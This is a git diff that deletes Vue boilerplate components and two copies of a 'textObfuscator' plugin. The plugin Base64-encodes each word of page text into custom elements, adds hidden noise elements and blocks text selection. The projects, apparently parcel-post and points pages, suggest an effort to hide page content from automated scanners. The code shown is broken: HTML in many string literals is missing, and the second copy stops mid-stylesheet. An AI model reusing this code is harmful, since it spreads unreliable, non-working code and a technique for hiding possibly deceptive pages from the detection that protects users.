diff --git a/0000_gb_points_temp/src/components/HelloWorld.vue b/0000_gb_points_temp/src/components/HelloWorld.vue deleted file mode 100644 index c9314c7..0000000 --- a/0000_gb_points_temp/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/0000_gb_points_temp/src/components/TheWelcome.vue b/0000_gb_points_temp/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/0000_gb_points_temp/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/0000_gb_points_temp/src/components/WelcomeItem.vue b/0000_gb_points_temp/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/0000_gb_points_temp/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/0000_gb_points_temp/src/mix/textObfuscator.ts b/0000_gb_points_temp/src/mix/textObfuscator.ts deleted file mode 100644 index 97727c2..0000000 --- a/0000_gb_points_temp/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate', 'op-no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/a1_pl_dpd_post/src/components/HelloWorld.vue b/a1_pl_dpd_post/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/a1_pl_dpd_post/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/a1_pl_dpd_post/src/components/TheWelcome.vue b/a1_pl_dpd_post/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/a1_pl_dpd_post/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/a1_pl_dpd_post/src/components/WelcomeItem.vue b/a1_pl_dpd_post/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/a1_pl_dpd_post/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/a1_pl_dpd_post/src/main.ts b/a1_pl_dpd_post/src/main.ts index aa17503..7525851 100644 --- a/a1_pl_dpd_post/src/main.ts +++ b/a1_pl_dpd_post/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => { VueScrollTo.scrollTo("#app", 0); next(); }); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/a1_pl_dpd_post/src/mix/textObfuscator.ts b/a1_pl_dpd_post/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/a1_pl_dpd_post/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - 